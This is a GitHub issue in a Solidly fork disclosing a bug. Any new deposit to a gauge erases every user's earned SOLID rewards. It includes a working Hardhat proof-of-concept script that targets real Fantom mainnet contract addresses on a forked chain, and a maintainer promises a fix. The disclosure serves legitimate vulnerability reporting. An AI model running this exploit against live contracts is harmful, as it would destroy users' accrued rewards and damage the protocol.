belbix / solidly

https://solidly.exchange
0 stars 1 forks source link

New deposit to a gauge remove all earned rewards from all users #1

Open belbix opened 2 years ago

belbix commented 2 years ago

Solidly repo is closed so I put it here.

Test for showing how it works https://github.com/belbix/solidly/blob/c649d895ab3ad0ce008f09a93ccf605c8cada42a/test/minter.js#L102-L151

Fantom chain POC on typescrypt/typechain coz I don't have time to implement it on JS.

TL;DR; An attacker can spam deposit actions to gauges and removes all earned SOLID rewards. No funds are affected but it can ruin all solidly tokenomic.

import {ethers} from "hardhat";
import {BigNumber} from "ethers";
import {
  BaseV1Pair__factory,
  BaseV1Router01Old__factory,
  BaseV1Voter__factory,
  Gauge__factory,
  Token__factory
} from "../typechain";
import {formatUnits, parseUnits} from "ethers/lib/utils";

// tslint:disable-next-line:no-var-requires
const hre = require("hardhat");

async function main() {
  const signer = (await ethers.getSigners())[0];
  console.log('signer balance', formatUnits(await signer.getBalance()));
  const router = BaseV1Router01Old__factory.connect('0xa38cd27185a464914D3046f0AB9d43356B34829D', signer);
  const voter = BaseV1Voter__factory.connect('0xdC819F5d05a6859D2faCbB4A44E5aB105762dbaE', signer);

  const SOLID = '0x888EF71766ca594DED1F0FA3AE64eD2941740A20';
  const tomb = '0x6c021ae822bea943b2e66552bde1d2696a53fbb7'
  const wftm = '0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83'
  const pool = '0x60a861Cd30778678E3d613db96139440Bd333143' // tomb/wftm

  await router.swapExactFTMForTokens(
    0,
    [{from: wftm, to: tomb, stable: false}],
    signer.address,
    BigNumber.from('99999999999999'),
    {value: parseUnits('0.1')}
  );
  console.log('swapped');

  await Token__factory.connect(wftm, signer).deposit({value: parseUnits('0.1')});
  console.log('wftm deposited');

  await Token__factory.connect(tomb, signer).approve(router.address, parseUnits('9999'));
  console.log('approved');

  const tombBalance = await Token__factory.connect(tomb, signer).balanceOf(signer.address);
  await router.addLiquidityFTM(
    tomb,
    false,
    tombBalance,
    0,
    0,
    signer.address,
    BigNumber.from('99999999999999'),
    {value: parseUnits('0.1')}
  );
  const liquidityBalance = await BaseV1Pair__factory.connect(pool, signer).balanceOf(signer.address);
  console.log('liquidity added', liquidityBalance.toString());

  const gaugeAdr = await voter.gauges(pool);
  console.log('gaugeAdr', gaugeAdr);

  const gauge = Gauge__factory.connect(gaugeAdr, signer);

  const holder = '0x26E1A0d851CF28E697870e1b7F053B605C8b060F';

  console.log('earned', formatUnits(await gauge.earned(SOLID, holder)));

  await hre.network.provider.request({
    method: "hardhat_impersonateAccount",
    params: [holder],
  });
  await hre.network.provider.request({
    method: "hardhat_setBalance",
    params: [holder, "0x1431E0FAE6D7217CAA0000000"],
  });

  const holderWallet = await ethers.getSigner(holder);
  const solidBefore = await Token__factory.connect(SOLID, signer).balanceOf(holder);

  const snapshot = await ethers.provider.send("evm_snapshot", []);

  await gauge.connect(holderWallet).getReward(holder, [SOLID]);
  const solidAfter = await Token__factory.connect(SOLID, signer).balanceOf(holder);
  console.log("claimed", formatUnits(solidAfter.sub(solidBefore)));
  console.log('earned after claim', formatUnits(await gauge.earned(SOLID, holder)));

  await ethers.provider.send("evm_revert", [snapshot]);

  console.log('earned after rollback', formatUnits(await gauge.earned(SOLID, holder)));

  // third party deposit
  await Token__factory.connect(pool, signer).approve(gauge.address, parseUnits('9999'));
  await gauge.deposit(liquidityBalance, 0);
  console.log('earned after 3party deposit', formatUnits(await gauge.earned(SOLID, holder)));

  // not necessary
  await ethers.provider.send('evm_increaseTime', [60]);
  await ethers.provider.send('evm_mine', []);

  await gauge.connect(holderWallet).getReward(holder, [SOLID]);
  const solidAfter1 = await Token__factory.connect(SOLID, signer).balanceOf(holder);
  console.log("claimed after 3party deposit", formatUnits(solidAfter1.sub(solidBefore)));
  console.log('earned after claim', formatUnits(await gauge.earned(SOLID, holder)));

}

main()
  .then(() => process.exit(0))
  .catch(error => {
    console.error(error);
    process.exit(1);
  });
Lafachief commented 2 years ago

This will be fixed, and is one of the reasons we have been joining forces with 0xDAO